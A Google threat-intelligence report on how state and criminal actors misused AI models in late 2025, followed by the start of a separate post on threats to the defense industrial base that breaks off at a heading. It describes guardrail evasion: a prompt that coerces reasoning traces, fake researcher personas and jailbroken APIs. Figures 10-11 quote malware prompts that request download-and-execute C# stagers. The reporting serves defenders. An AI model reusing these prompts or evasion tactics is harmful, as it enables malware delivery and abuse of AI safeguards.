    For government-backed threat actors, large language models (LLMs) have become essential tools for technical research, targeting, and the rapid generation of nuanced phishing lures. This quarterly report highlights how threat actors from the Democratic People's Republic of Korea (DPRK), Iran, the People's Republic of China (PRC), and Russia operationalized AI in late 2025 and improves our understanding of how adversarial misuse of generative AI shows up in campaigns we disrupt in the wild. GTIG has not yet observed APT or information operations (IO) actors achieving breakthrough capabilities that fundamentally alter the threat landscape.

    This report specifically examines:

    • Model Extraction Attacks: "Distillation attacks" are on the rise as a method for intellectual property theft over the last year.
    • AI-Augmented Operations: Real-world case studies demonstrate how groups are streamlining reconnaissance and rapport-building phishing.
    • Agentic AI: Threat actors are beginning to show interest in building agentic AI capabilities to support malware and tooling development. 
    • AI-Integrated Malware: There are new malware families, such as HONESTCUE, that experiment with using Gemini's application programming interface (API) to generate code that enables download and execution of second-stage malware.
    • Underground "Jailbreak" Ecosystem: Malicious services like Xanthorox are emerging in the underground, claiming to be independent models while actually relying on jailbroken commercial APIs and open-source Model Context Protocol (MCP) servers.

    At Google, we are committed to developing AI boldly and responsibly, which means taking proactive steps to disrupt malicious activity by disabling the projects and accounts associated with bad actors, while continuously improving our models to make them less susceptible to misuse. We also proactively share industry best practices to arm defenders and enable stronger protections across the ecosystem. Throughout this report, we note steps we've taken to thwart malicious activity, including disabling assets and applying intelligence to strengthen both our classifiers and model so it's protected from misuse moving forward. Additional details on how we're protecting and defending Gemini can be found in the white paper "Advancing Gemini’s Security Safeguards." 

    Direct Model Risks: Disrupting Model Extraction Attacks

    As organizations increasingly integrate LLMs into their core operations, the proprietary logic and specialized training of these models have emerged as high-value targets. Historically, adversaries seeking to steal high-tech capabilities used conventional computer-enabled intrusion operations to compromise organizations and steal data containing trade secrets. For many AI technologies where LLMs are offered as services, this approach is no longer required; actors can use legitimate API access to attempt to "clone" select AI model capabilities.

    During 2025, we did not observe any direct attacks on frontier models from tracked APT or information operations (IO) actors. However, we did observe model extraction attacks, also known as distillation attacks, on our AI models, to gain insights into a model's underlying reasoning and chain-of-thought processes.

    What Are Model Extraction Attacks? 

    Model extraction attacks (MEA) occur when an adversary uses legitimate access to systematically probe a mature machine learning model to extract information used to train a new model. Adversaries engaging in MEA use a technique called knowledge distillation (KD) to take information gleaned from one model and transfer the knowledge to another. For this reason, MEA are frequently referred to as "distillation attacks."

    Model extraction and subsequent knowledge distillation enable an attacker to accelerate AI model development quickly and at a significantly lower cost. This activity effectively represents a form of intellectual property (IP) theft.

    Knowledge distillation (KD) is a common machine learning technique used to train "student" models from pre-existing "teacher" models. This often involves querying the teacher model for problems in a particular domain, and then performing supervised fine tuning (SFT) on the result or utilizing the result in other model training procedures to produce the student model. There are legitimate uses for distillation, and Google Cloud has existing offerings to perform distillation. However, distillation from Google's Gemini models without permission is a violation of our Terms of Service, and Google continues to develop techniques to detect and mitigate these attempts.

    Illustration of model extraction attacks

    Figure 1: Illustration of model extraction attacks

    Google DeepMind and GTIG identified and disrupted model extraction attacks, specifically attempts at model stealing and capability extraction emanating from researchers and private sector companies globally.

    Case Study: Reasoning Trace Coercion

    A common target for attackers is Gemini's exceptional reasoning capability. While internal reasoning traces are typically summarized before being delivered to users, attackers have attempted to coerce the model into outputting full reasoning processes.

    One identified attack instructed Gemini that the "... language used in the thinking content must be strictly consistent with the main language of the user input."

    Analysis of this campaign revealed:

    Scale: Over 100,000 prompts identified.

    Intent: The breadth of questions suggests an attempt to replicate Gemini's reasoning ability in non-English target languages across a wide variety of tasks.

    Outcome: Google systems recognized this attack in real time and lowered the risk of this particular attack, protecting internal reasoning traces.

    Table 1: Results of campaign analysis

    Model Extraction and Distillation Attack Risks

    Model extraction and distillation attacks do not typically represent a risk to average users, as they do not threaten the confidentiality, availability, or integrity of AI services. Instead, the risk is concentrated among model developers and service providers.

    Organizations that provide AI models as a service should monitor API access for extraction or distillation patterns. For example, a custom model tuned for financial data analysis could be targeted by a commercial competitor seeking to create a derivative product, or a coding model could be targeted by an adversary wishing to replicate capabilities in an environment without guardrails.

    Mitigations

    Model extraction attacks violate Google's Terms of Service and may be subject to takedowns and legal action. Google continuously detects, disrupts, and mitigates model extraction activity to protect proprietary logic and specialized training data, including with real-time proactive defenses that can degrade student model performance. We are sharing a broad view of this activity to help raise awareness of the issue for organizations that build or operate their own custom models.

    Highlights of AI-Augmented Adversary Activity

    A consistent finding over the past year is that government-backed attackers misuse Gemini for coding and scripting tasks, gathering information about potential targets, researching publicly known vulnerabilities, and enabling post-compromise activities. In Q4 2025, GTIG's understanding of how these efforts translate into real-world operations improved as we saw direct and indirect links between threat actor misuse of Gemini and activity in the wild.

    Threat actors are leveraging AI across all stages of the attack cycle

    Figure 2: Threat actors are leveraging AI across all stages of the attack lifecycle

    Supporting Reconnaissance and Target Development 

    APT actors used Gemini to support several phases of the attack lifecycle, including a focus on reconnaissance and target development to facilitate initial compromise. This activity underscores a shift toward AI-augmented phishing enablement, where the speed and accuracy of LLMs can bypass the manual labor traditionally required for victim profiling. Beyond generating content for phishing lures, LLMs can serve as a strategic force multiplier during the reconnaissance phase of an attack, allowing threat actors to rapidly synthesize open-source intelligence (OSINT) to profile high-value targets, identify key decision-makers within defense sectors, and map organizational hierarchies. By integrating these tools into their workflow, threat actors can move from initial reconnaissance to active targeting at a faster pace and broader scale.  

    • UNC6418, an unattributed threat actor, misused Gemini to conduct targeted intelligence gathering, specifically seeking out sensitive account credentials and email addresses. Shortly after, GTIG observed the threat actor target all these accounts in a phishing campaign focused on Ukraine and the defense sector. Google has taken action against this actor by disabling the assets associated with this activity.

    • Temp.HEX, a PRC-based threat actor, misused Gemini and other AI tools to compile detailed information on specific individuals, including targets in Pakistan, and to collect operational and structural data on separatist organizations in various countries. While we did not see direct targeting as a result of this research, shortly after the threat actor included similar targets in Pakistan in their campaign. Google has taken action against this actor by disabling the assets associated with this activity.

    Phishing Augmentation

    Defenders and targets have long relied on indicators such as poor grammar, awkward syntax, or lack of cultural context to help identify phishing attempts. Increasingly, threat actors now leverage LLMs to generate hyper-personalized, culturally nuanced lures that can mirror the professional tone of a target organization or local language. 

    This capability extends beyond simple email generation into "rapport-building phishing," where models are used to maintain multi-turn, believable conversations with victims to build trust before a malicious payload is ever delivered. By lowering the barrier to entry for non-native speakers and automating the creation of high-quality content, adversaries can largely erase those "tells" and improve the effectiveness of their social engineering efforts.

    • The Iranian government-backed actor APT42 leveraged generative AI models, including Gemini, to significantly augment reconnaissance and targeted social engineering. APT42 misuses Gemini to search for official emails for specific entities and conduct reconnaissance on potential business partners to establish a credible pretext for an approach. This includes attempts to enumerate the official email addresses for specific entities and to conduct research to establish a credible pretext for an approach. By providing Gemini with the biography of a target, APT42 misused Gemini to craft a good persona or scenario to get engagement from the target. As with many threat actors tracked by GTIG, APT42 uses Gemini to translate into and out of local languages, as well as to better understand non-native-language phrases and references. Google has taken action against this actor by disabling the assets associated with this activity.

    • The North Korean government-backed actor UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The group used Gemini to synthesize OSINT and profile high-value targets to support campaign planning and reconnaissance. This actor's target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This activity blurs the distinction between routine professional research and malicious reconnaissance, as the actor gathers the necessary components to create tailored, high-fidelity phishing personas and identify potential soft targets for initial compromise. Google has taken action against this actor by disabling the assets associated with this activity. 

    Threat Actors Continue to Use AI to Support Coding and Tooling Development 

    State-sponsored actors continue to misuse Gemini to enhance all stages of their operations, from reconnaissance and phishing lure creation to command-and-control (C2 or C&C) development and data exfiltration. We have also observed activity demonstrating an interest in using agentic AI capabilities to support campaigns, such as prompting Gemini with an expert cybersecurity persona, or attempting to create an AI-integrated code auditing capability.

    Agentic AI refers to artificial intelligence systems engineered to operate with a high degree of autonomy, capable of reasoning through complex tasks, making independent decisions, and executing multi-step actions without constant human oversight. Cyber criminals, nation-state actors, and hacktivist groups are showing a growing interest in leveraging agentic AI for malicious purposes, including automating spear-phishing attacks, developing sophisticated malware, and conducting disruptive campaigns. While we have detected a tool, AutoGPT, advertising the alleged generation and maintenance of autonomous agents, we have not yet seen evidence of these capabilities being used in the wild. However, we do anticipate that more tools and services claiming to contain agentic AI capabilities will likely enter the underground market. 

    APT31 employed a highly structured approach by prompting Gemini with an expert cybersecurity persona to automate the analysis of vulnerabilities and generate targeted testing plans. The PRC-based threat actor fabricated a scenario, in one case trialing Hexstrike MCP tooling, and directing the model to analyze remote code execution (RCE), web application firewall (WAF) bypass techniques, and SQL injection test results against specific US-based targets. This automated intelligence gathering to identify technological vulnerabilities and organizational defense weaknesses. This activity explicitly blurs the line between a routine security assessment query and a targeted malicious reconnaissance operation. Google has taken action against this actor by disabling the assets associated with this activity.

    I'm a security researcher who is trialling out the hexstrike MCP tooling.”

    Threat actors fabricated scenarios, potentially in order to generate penetration test prompts. 

    Figure 3: Sample of APT31 prompting
    APT31's misuse of Gemini mapped across the attack lifecycle

    Figure 4: APT31's misuse of Gemini mapped across the attack lifecycle

    UNC795, a PRC-based actor, relied heavily on Gemini throughout their entire attack lifecycle. GTIG observed the group consistently engaging with Gemini multiple days a week to troubleshoot their code, conduct research, and generate technical capabilities for their intrusion activity. The threat actor's activity triggered safety systems, and Gemini did not comply with the actor's attempts to create policy-violating capabilities. 

    The group also employed Gemini to create an AI-integrated code auditing capability, likely demonstrating an interest in agentic AI utilities to support their intrusion activity. Google has taken action against this actor by disabling the assets associated with this activity.

    UNC795's misuse of Gemini mapped across the attack lifecycle

    Figure 5: UNC795's misuse of Gemini mapped across the attack lifecycle

    We observed activity likely associated with the PRC-based threat actor APT41, which leveraged Gemini to accelerate the development and deployment of malicious tooling, including for knowledge synthesis, real-time troubleshooting, and code translation. In particular, multiple times the actor gave Gemini open-source tool README pages and asked for explanations and use case examples for specific tools. Google has taken action against this actor by disabling the assets associated with this activity.

    APT41's misuse of Gemini mapped across the attack lifecycle

    Figure 6: APT41's misuse of Gemini mapped across the attack lifecycle

    In addition to leveraging Gemini for the aforementioned social engineering campaigns, the Iranian threat actor APT42 uses Gemini as an engineering platform to accelerate the development of specialized malicious tools. The threat actor is actively engaged in developing new malware and offensive tooling, leveraging Gemini for debugging, code generation, and researching exploitation techniques. Google has taken action against this actor by disabling the assets associated with this activity.

    APT42's misuse of Gemini mapped across the attack lifecycle

    Figure 7: APT42's misuse of Gemini mapped across the attack lifecycle

    Mitigations

    These activities triggered Gemini's safety responses, and Google took additional, broader action to disrupt the threat actors' campaigns based on their operational security failures. Additionally, we've taken action against these actors by disabling the assets associated with this activity and making updates to prevent further misuse. Google DeepMind has used these insights to strengthen both classifiers and the model itself, enabling it to refuse to assist with these types of attacks moving forward.

    Using Gemini to Support Information Operations

    GTIG continues to observe IO actors use Gemini for productivity gains (research, content creation, localization, etc.), which aligns with their previous use of Gemini. We have identified Gemini activity that indicates threat actors are soliciting the tool to help create articles, generate assets, and aid them in coding. However, we have not identified this generated content in the wild. None of these attempts have created breakthrough capabilities for IO campaigns. Threat actors from China, Iran, Russia, and Saudi Arabia are producing political satire and propaganda to advance specific ideas across both digital platforms and physical media, such as printed posters.

    Mitigations

    For observed IO campaigns, we did not see evidence of successful automation or any breakthrough capabilities. These activities are similar to our findings from January 2025 that detailed how bad actors are leveraging Gemini for productivity gains, rather than novel capabilities. We took action against IO actors by disabling the assets associated with these actors' activity, and Google DeepMind used these insights to further strengthen our protections against such misuse. Observations have been used to strengthen both classifiers and the model itself, enabling it to refuse to assist with this type of misuse moving forward.

    Continuing Experimentation with AI-Enabled Malware 

    GTIG continued to observe threat actors experiment with AI to implement novel capabilities in malware families in late 2025. While we have not encountered experimental AI-enabled techniques resulting in revolutionary paradigm shifts in the threat landscape, these proof-of-concept malware families are early indicators of how threat actors can implement AI techniques as part of future operations. We expect this exploratory testing will increase in the future.

    In addition to continued experimentation with novel capabilities, throughout late 2025 GTIG observed threat actors integrating conventional AI-generated capabilities into their intrusion operations such as the COINBAIT phishing kit. We expect threat actors will continue to incorporate AI throughout the attack lifecycle including: supporting malware creation, improving pre-existing malware, researching vulnerabilities, conducting reconnaissance, and/or generating lure content.

    Outsourcing Functionality: HONESTCUE

    In September 2025, GTIG observed malware samples, which we track as HONESTCUE, leveraging Gemini's API to outsource functionality generation. Our examination of HONESTCUE malware samples indicates the adversary's incorporation of AI is likely designed to support a multi-layered approach to obfuscation by undermining traditional network-based detection and static analysis. 

    HONESTCUE is a downloader and launcher framework that sends a prompt via Google Gemini's API and receives C# source code as the response. Notably, HONESTCUE shares capabilities similar to PROMPTFLUX's "just-in-time" (JIT) technique that we previously observed; however, rather than leveraging an LLM to update itself, HONESTCUE calls the Gemini API to generate code that operates the "stage two" functionality, which downloads and executes another piece of malware. Additionally, the fileless secondary stage of HONESTCUE takes the C# source code received from the Gemini API and uses the legitimate .NET CSharpCodeProvider framework to compile and execute the payload directly in memory. This approach leaves no payload artifacts on the disk. We have also observed the threat actor use content delivery networks (CDNs) like Discord CDN to host the final payloads.

    HONESTCUE malware

    Figure 8: HONESTCUE malware

    We have not associated this malware with any existing clusters of threat activity; however, we suspect this malware is being developed by developers who possess a modicum of technical expertise. Specifically, the small iterative changes across many samples as well as the single VirusTotal submitter, potentially testing antivirus capabilities, suggests a singular actor or small group. Additionally, the use of Discord to test payload delivery and the submission of Discord Bots indicates an actor with limited technical sophistication. The consistency and clarity of the architecture coupled with the iterative progression of the examined malware samples strongly suggest this is a single actor or small group likely in the proof-of-concept stage of implementation. 

    HONESTCUE's use of a hard-coded prompt is not malicious in its own right, and, devoid of any context related to malware, it is unlikely that the prompt would be considered "malicious." Outsourcing a facet of malware functionality and leveraging an LLM to develop seemingly innocuous code that fits into a bigger, malicious construct demonstrates how threat actors will likely embrace AI applications to augment their campaigns while bypassing security guardrails.

    Can you write a single, self-contained C# program? It should contain a class named AITask with a static Main method. The Main method should use System.Console.WriteLine to print the message 'Hello from AI-generated C#!' to the console. Do not include any other code, classes, or methods.

    Figure 9: Example of a hard-coded prompt

    Write a complete, self-contained C# program with a public class named 'Stage2' and a static Main method. This method must use 'System.Net.WebClient' to download the data from the URL. It must then save this data to a temporary file in the user's temp directory using 'System.IO.Path.GetTempFileName()' and 'System.IO.File.WriteAllBytes'. Finally, it must execute this temporary file as a new process using 'System.Diagnostics.Process.Start'.

    Figure 10: Example of a hard-coded prompt

    Write a complete, self-contained C# program with a public class named 'Stage2'. It must have a static Main method. This method must use 'System.Net.WebClient' to download the contents of the URL \"\" into a byte array. After downloading, it must load this byte array into memory as a .NET assembly using 'System.Reflection.Assembly.Load'. Finally, it must execute the entry point of the newly loaded assembly. The program must not write any files to disk and must not have any other methods or classes.

    Figure 11: Example of a hard-coded prompt

    AI-Generated Phishing Kit: COINBAIT

    In November 2025, GTIG identified COINBAIT, a phishing kit, whose construction was likely accelerated by AI code generation tools, masquerading as a major cryptocurrency exchange for credential harvesting. Based on direct infrastructure overlaps and the use of attributed domains, we assess with high confidence that a portion of this activity overlaps with UNC5356, a financially motivated threat cluster that makes use of SMS- and phone-based phishing campaigns to target clients of financial organizations, cryptocurrency-related companies, and various other popular businesses and services. 

    An examination of the malware samples indicates the kit was built using the AI-powered platform Lovable AI based on the use of the lovableSupabase client and lovable.app for image hosting.

    • By hosting content on a legitimate, trusted service, the actor increases the likelihood of bypassing network security filters that would otherwise block the suspicious primary domain.

    • The phishing kit was wrapped in a full React Single-Page Application (SPA) with complex state management and routing. This complexity is indicative of code generated from high-level prompts (e.g., "Create a Coinbase-style UI for wallet recovery") using a framework like Lovable AI. 

    • Another key indicator of LLM use is the presence of verbose, developer-oriented logging messages directly within the malware's source code. These messages—consistently prefixed with "? Analytics:"—provide a real-time trace of the kit's malicious tracking and data exfiltration activities and serve as a unique fingerprint for this code family.

    Phase

    Log Message Examples

    Initialization

    ? Analytics: Initializing...

    ? Analytics: Session created in database:

    Credential Capture

    ? Analytics: Tracking password attempt:

    ? Analytics: Password attempt tracked to database:

    Admin Panel Fetching

    ? RecoveryPhrasesCard: Fetching recovery phrases directly from database...

    Routing/Access Control

    ? RouteGuard: Admin redirected session, allowing free access to

    ? RouteGuard: Session approved by admin, allowing free access to

    Error Handling

    ? Analytics: Database error for password attempt:

    Table 2: Example console.log messages extracted from COINBAIT source code

    We also observed the group employ infrastructure and evasion tactics for their operations, including proxying phishing domains through Cloudflare to obscure the attacker IP addresses and  hotlinking image assets in phishing pages directly from Lovable AI. 

    The introduction of the COINBAIT phishing kit would represent an evolution in UNC5356's tooling, demonstrating a shift toward modern web frameworks and legitimate cloud services to enhance the sophistication and scalability of their social engineering campaigns. However, there is at least some evidence to suggest that COINBAIT may be a service provided to multiple disparate threat actors.

    Mitigations

    Organizations should strongly consider implementing network detection rules to alert on traffic to backend-as-a-service (BaaS) platforms like Supabase that originate from uncategorized or newly registered domains. Additionally, organizations should consider enhancing security awareness training to warn users against entering sensitive data into website forms. This includes passwords, multifactor authentication (MFA) backup codes, and account recovery keys.

    Cyber Crime Use of AI Tooling

    In addition to misusing existing AI-enabled tools and services across the industry, there is a growing interest and marketplace for AI tools and services purpose-built to enable illicit activities. Tools and services offered via underground forums can enable low-level actors to augment the frequency, scope, efficacy, and complexity of their intrusions despite their limited technical acumen and financial resources. While financially motivated threat actors continue experimenting, they have not yet made breakthroughs in developing AI tooling. 

    Threat Actors Leveraging AI Services for Social Engineering in 'ClickFix' Campaigns

    While not a new malware technique, GTIG observed instances in which threat actors abused the public's trust in generative AI services to attempt to deliver malware. GTIG identified a novel campaign where threat actors are leveraging the public sharing feature of generative AI services, including Gemini, to host deceptive social engineering content. This activity, first observed in early December 2025, attempts to trick users into installing malware via the well-established "ClickFix" technique. This ClickFix technique is used to socially engineer users to copy and paste a malicious command into the command terminal.

    The threat actors were able to bypass safety guardrails to stage malicious instructions on how to perform a variety of tasks on macOS, ultimately distributing variants of ATOMIC, an information stealer that targets the macOS environment and has the ability to collect browser data, cryptocurrency wallets, system information, and files in the Desktop and Documents folders. The threat actors behind this campaign have used a wide range of AI chat platforms to host their malicious instructions, including ChatGPT, CoPilot, DeepSeek, Gemini, and Grok.

    The campaign's objective is to lure users, primarily those on Windows and macOS systems, into manually executing malicious commands. The attack chain operates as follows:

    • A threat actor first crafts a malicious command line that, if copied and pasted by a victim, would infect them with malware.

    • Next, the threat actor manipulates the AI to create realistic-looking instructions to fix a common computer issue (e.g., clearing disk space or installing software), but gives the malicious command line to the AI as the solution.

    • Gemini and other AI tools allow a user to create a shareable link to specific chat transcripts so a specific AI response can be shared with others. The attacker now has a link to a malicious ClickFix landing page hosted on the AI service's infrastructure.

    • The attacker purchases malicious advertisements or otherwise directs unsuspecting victims to the publicly shared chat transcript.

    • The victim is fooled by the AI chat transcript and follows the instructions to copy a seemingly legitimate command-line script and paste it directly into their system's terminal. This command will download and install malware. Since the action is user initiated and uses built-in system commands, it may be harder for security software to detect and block.

    ClickFix attack chain

    Figure 12: ClickFix attack chain

    There were different lures generated for Windows and MacOS, and the use of malicious advertising techniques for payload distribution suggests the targeting is likely fairly broad and opportunistic. 

    This approach allows threat actors to leverage trusted domains to host their initial stage of instruction, relying on social engineering to carry out the final, highly destructive step of execution. While a widely used approach, this marks the first time GTIG observed the public sharing feature of AI services being abused as trusted domains.

    Mitigations

    In partnership with Ads and Safe Browsing, GTIG is taking actions to both block the malicious content and restrict the ability to promote these types of AI-generated responses.

    Observations from the Underground Marketplace: Threat Actors Abusing AI API Keys

    While legitimate AI services remain popular tools for threat actors, there is an enduring market for AI services specifically designed to support malicious activity. Current observations of English- and Russian-language underground forums indicates there is a persistent appetite for AI-enabled tools and services, which aligns with our previous assessment of these platforms

    However, threat actors struggle to develop custom models and instead rely on mature models such as Gemini. For example, "Xanthorox" is an underground toolkit that advertises itself as a custom AI for cyber offensive purposes, such as autonomous code generation of malware and development of phishing campaigns. The model was advertised as a "bespoke, privacy preserving self-hosted AI" designed to autonomously generate malware, ransomware, and phishing content. However, our investigation revealed that Xanthorox is not a custom AI but actually powered by several third-party and commercial AI products, including Gemini.

    This setup leverages a key abuse vector: the integration of multiple open-source AI products—specifically Crush, Hexstrike AI, LibreChat-AI, and Open WebUI—opportunistically leveraged via Model Context Protocol (MCP) servers to build an agentic AI service upon commercial models.

    In order to misuse LLMs services for malicious operations in a scalable way, threat actors need API keys and resources that enable LLM integrations. This creates a hijacking risk for organizations with substantial cloud resources and AI resources. 

    In addition, vulnerable open-source AI tools are commonly exploited to steal AI API keys from users, thus facilitating a thriving black market for unauthorized API resale and key hijacking, enabling widespread abuse, and incurring costs for the affected users. For example, the One API and New API platform, popular with users facing country-level censorship, are regularly harvested for API keys by attackers, exploiting publicly known vulnerabilities such as default credentials, insecure authentication, lack of rate limiting, XSS flaws, and API key exposure via insecure API endpoints.

    Mitigations

    The activity was identified and successfully mitigated. Google Trust & Safety took action to disable and mitigate all identified accounts and AI Studio projects associated with Xanthorox. These observations also underscore a broader security risk where vulnerable open-source AI tools are actively exploited to steal users' AI API keys, thus facilitating a black market for unauthorized API resale and key hijacking, enabling widespread abuse, and incurring costs for the affected users.

    Building AI Safely and Responsibly 

    We believe our approach to AI must be both bold and responsible. That means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. 

    Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

    At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users, and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. These changes, which can be made to both our classifiers and at the model level, are essential to maintaining agility in our defenses and preventing further misuse.

    Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities and creates new evaluation and training techniques to address misuse. In conjunction with this research, Google DeepMind has shared how they're actively deploying defenses in AI systems, along with measurement and monitoring tools, including a robust evaluation framework that can automatically red team an AI vulnerability to indirect prompt injection attacks. 

    Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

    The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, red teaming to test and secure AI systems, and our comprehensive prompt injection approach.

    Working closely with industry partners is crucial to building stronger protections for all of our users. To that end, we're fortunate to have strong collaborative partnerships with numerous researchers, and we appreciate the work of these researchers and others in the community to help us red team and refine our defenses.

    Google also continuously invests in AI research, helping to ensure AI is built responsibly, and that we're leveraging its potential to automatically find risks. Last year, we introduced Big Sleep, an AI agent developed by Google DeepMind and Google Project Zero, that actively searches and finds unknown security vulnerabilities in software. Big Sleep has since found its first real-world security vulnerability and assisted in finding a vulnerability that was imminently going to be used by threat actors, which GTIG was able to cut off beforehand. We're also experimenting with AI to not only find vulnerabilities, but also patch them. We recently introduced CodeMender, an experimental AI-powered agent using the advanced reasoning capabilities of our Gemini models to automatically fix critical code vulnerabilities. 

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

    About the Authors

    Google Threat Intelligence Group focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed actors, targeted zero-day exploits, coordinated information operations (IO), and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

    Received — 11 February 2026 Threat Intelligence

    Beyond the Battlefield: Threats to the Defense Industrial Base

    10 February 2026 at 15:00

    Introduction 

    In modern warfare, the front lines are no longer confined to the battlefield; they extend directly into the servers and supply chains of the industry that safeguards the nation. Today, the defense sector faces a relentless barrage of cyber operations conducted by state-sponsored actors and criminal groups alike. In recent years, Google Threat Intelligence Group (GTIG) has observed several distinct areas of focus in adversarial targeting of the defense industrial base (DIB). While not exhaustive of all actors and means, some of the more prominent themes in the landscape today include: 

    • Consistent effort has been dedicated to targeting defense entities fielding technologies on the battlefield in the Russia-Ukraine War. As next-generation capabilities are being operationalized in this environment, Russia-nexus threat actors and hacktivists are seeking to compromise defense contractors alongside military assets and systems, with a focus on organizations involved with unmanned aircraft systems (UAS). This includes targeting defense companies directly, using themes mimicking their products and systems in intrusions against military organizations and personnel. 

    • Across global defense and aerospace firms, the direct targeting of employees and exploitation of the hiring process has emerged as a key theme. From the North Korean IT worker threat, to the spoofing of recruitment portals by Iranian espionage actors, to the direct targeting of defense contractors' personal emails, GTIG continues to observe a multifaceted threat landscape that centers around personnel, and often in a manner that evades traditional enterprise security visibility.    

    • Among state-sponsored cyber espionage intrusions over the last two years analysed by GTIG, threat activity from China-nexus groups continues to represent by volume the most active threat to entities in the defense industrial base. While these intrusions continue to leverage an array of tactics, campaigns from actors such as UNC3886 and UNC5221 highlight how the targeting of edge devices and appliances as a means of initial access has increased as a tactic by China-nexus threat actors, and poses a significant risk to the defense and aerospace sector. In comparison to the Russia-nexus threats observed on the battlefield in Ukraine, these could support more preparatory access or R&D theft missions. 

    • Lastly, contemporary national security strategy relies heavily on a secure supply chain. Since 2020, manufacturing has been the most represented sector across data leak sites (DLS) that GTIG tracks associated with ransomware and extortive activity. While dedicated defense and aerospace organizations represent a small fraction of similar activity, the broader manufacturing sector includes many companies that provide dual-use components for defense applications, and this statistic highlights the cyber risk the industrial base supply chain is exposed to. The ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks. Additionally, the global resurgence of hacktivism, and actors carrying out hack and leak operations, DDoS attacks, or other forms of disruption, has impacted the defense industrial base. 

    Across these themes we see further areas of commonality. Many of the chief state-sponsors of cyber espionage and hacktivist actors have shown an interest in autonomous vehicles and drones, as these platforms play an increasing role in modern warfare. Further, the “evasion of detection” trend first highlighted in the Mandiant M-Trends 2024 report continues, as actors focus on single endpoints and individuals, or carry out intrusions in a manner that seeks to avoid endpoint detection and response (EDR) tools altogether. All of this contributes to a contested and complex environment that challenges traditional detection strategies, requiring everyone from security practitioners to policymakers to think creatively in countering these threats. 

    1. Longstanding Russian Targeting of Critical and Emerging Defense Technologies in Ukraine and Beyond 

    Russian espionage actors have demonstrated a longstanding interest in Western defense entities. While Russia's full-scale invasion of Ukraine began in February 2022, the Russian government has long viewed the conflict as an extension of a broader campaign against Western encroachment into its sphere of influence, and has accordingly targeted both Ukrainian and Western military and defense-related entities via kinetic and cyber operations. 

    Russia's use of cyber operations in support of military objectives in the war against Ukraine and beyond is multifaceted. On a tactical level, targeting has broadened to include individuals in addition to organizations in order to support frontline operations and beyond, likely due at least in part to the reliance on public and off-the-shelf technology rather than custom products. Russian threat actors have targeted secure messaging applications used by the Ukrainian military to communicate and orchestrate military operations, including via attempts to exfiltrate locally stored databases of these apps, such as from mobile devices captured during Russia's ongoing invasion of Ukraine. This compromise of individuals' devices and accounts poses a challenge in various ways—for example, such activity often occurs outside spaces that are traditionally monitored, meaning a lack of visibility for defenders in monitoring or detecting such threats. GTIG has also identified attempts to compromise users of battlefield management systems such as Delta and Kropyva, underscoring the critical role played by these systems in the orchestration of tactical efforts and dissemination of vital intelligence. 

    More broadly, Russian espionage activity has also encompassed the targeting of Ukrainian and Western companies supporting Ukraine in the conflict or otherwise focused on developing and providing defensive capabilities for the West. This has included the use of infrastructure and lures themed around military equipment manufacturers, drone production and development, anti-drone defense systems, and surveillance systems, indicating the likely targeting of organizations with a need for such technologies.

    APT44 (Sandworm, FROZENBARENTS)

    APT44, attributed by multiple governments to Unit 74455 within the Russian Armed Forces' Main Intelligence Directorate (GRU), has attempted to exfiltrate information from Telegram and Signal encrypted messaging applications, likely via physical access to devices obtained during operations in Ukraine. While this activity extends back to at least 2023, we have continued to observe the group making these attempts. GTIG has also identified APT44 leveraging WAVESIGN, a Windows Batch script responsible for decrypting and exfiltrating data from Signal Desktop. Multiple governments have also reported on APT44's use of INFAMOUSCHISEL, malware designed to collect information from Android devices including system device information, commercial application information, and information from Ukrainian military apps. 

    TEMP.Vermin

    TEMP.Vermin, an espionage actor whose activity Ukraine's Computer Emergency Response Team (CERT-UA) has linked to security agencies of the so-called Luhansk People's Republic (LPR, also rendered as LNR), has deployed malware including VERMONSTER, SPECTRUM (publicly reported as Spectr), and FIRMACHAGENT via the use of lure content themed around drone production and development, anti-drone defense systems, and video surveillance security systems. Infrastructure leveraged by TEMP.Vermin includes domains masquerading as Telegram and involve broad aerospace themes including a domain that may be a masquerade of an Indian aerospace company focused on advanced drone technology.

    Lure document used by TEMP.Vermin

    Figure 1: Lure document used by TEMP.Vermin

    UNC5125

    UNC5125 has conducted highly targeted campaigns focusing on frontline drone units. Its collection efforts have included the use of a questionnaire hosted on Google Forms to conduct reconnaissance against prospective drone operators; the questionnaire purports to originate from Dronarium, a drone training academy, and solicits personal information from targets, notably including military unit information, telephone numbers, and preferred mobile messaging apps. UNC5125 has also conducted malware delivery operations via these messaging apps. In one instance, the cluster delivered the MESSYFORK backdoor (publicly reported as COOKBOX) to an UAV operator in Ukraine.

    UNC5125 Google Forms questionnaire purporting to originate from Dronarium drone training academy

    Figure 2: UNC5125 Google Forms questionnaire purporting to originate from Dronarium drone training academy

    We also identified suspected UNC5125 activity leveraging Android malware we track as GREYBATTLE, which was delivered via a website spoofing a Ukrainian military artificial intelligence company. GREYBATTLE, a customized variant of the Hydra banking trojan, is designed to extract credentials and data from compromised devices.

    Note: Android users with Google Play Protect enabled are protected against the aforementioned malware, and all known versions of the malicious apps identified throughout this report.

    UNC5792

